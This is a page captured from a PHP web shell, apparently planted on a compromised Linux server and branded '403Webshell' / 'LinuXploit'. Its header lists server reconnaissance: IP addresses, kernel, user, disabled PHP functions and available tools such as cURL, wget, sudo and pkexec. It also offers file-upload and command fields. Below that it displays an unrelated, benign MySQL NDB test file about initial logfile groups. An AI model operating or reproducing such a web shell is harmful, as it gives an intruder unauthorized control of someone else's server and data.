403Webshell
Server IP : 172.67.216.182  /  Your IP : 162.158.189.58
Web Server : Apache
System : Linux krdc-ubuntu-s-2vcpu-4gb-amd-blr1-01.localdomain 5.15.0-142-generic #152-Ubuntu SMP Mon May 19 10:54:31 UTC 2025 x86_64
User : www ( 1000)
PHP Version : 7.4.33
Disable Function : passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /www/server/mysql/src/mysql-test/suite/ndb/t/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /www/server/mysql/src/mysql-test/suite/ndb/t/ndb_dd_initial_lg.test
--source include/have_ndb.inc


#
# BUG#11762867
# - show that system started with InitialLogFileGroup automatically allocated
#   extra reserved memory for use by the undo buffer
select reserved, used from ndbinfo.resources
  where resource_name = 'DISK_OPERATIONS'
    order by node_id;

# - show logfile group initial_lg1 was created
select logfile_group_name, extra from information_schema.files
  where file_type = 'UNDO LOG' and file_name is null;


# - show that the two undofiles was created
select distinct file_name, initial_size from information_schema.files
  where file_type = 'UNDO LOG' and file_name is not null
    order by file_name;


# - show basic usability of the auto created log file group
create tablespace ts1
  add datafile 'data1.dat'
  use logfile group initial_lg1
  initial_size 20M
  engine = ndb;

create table t1 (
  a int primary key,
  b varchar(256)
) tablespace ts1 storage disk, engine = ndb;

insert into t1 values
 (1, "initial log file test");

drop table t1;
alter tablespace ts1 drop datafile 'data1.dat' engine=ndb;
drop tablespace ts1 engine = ndb;
drop logfile group initial_lg1 engine = ndb;


Youez - 2016 - github.com/yon3zu
LinuXploit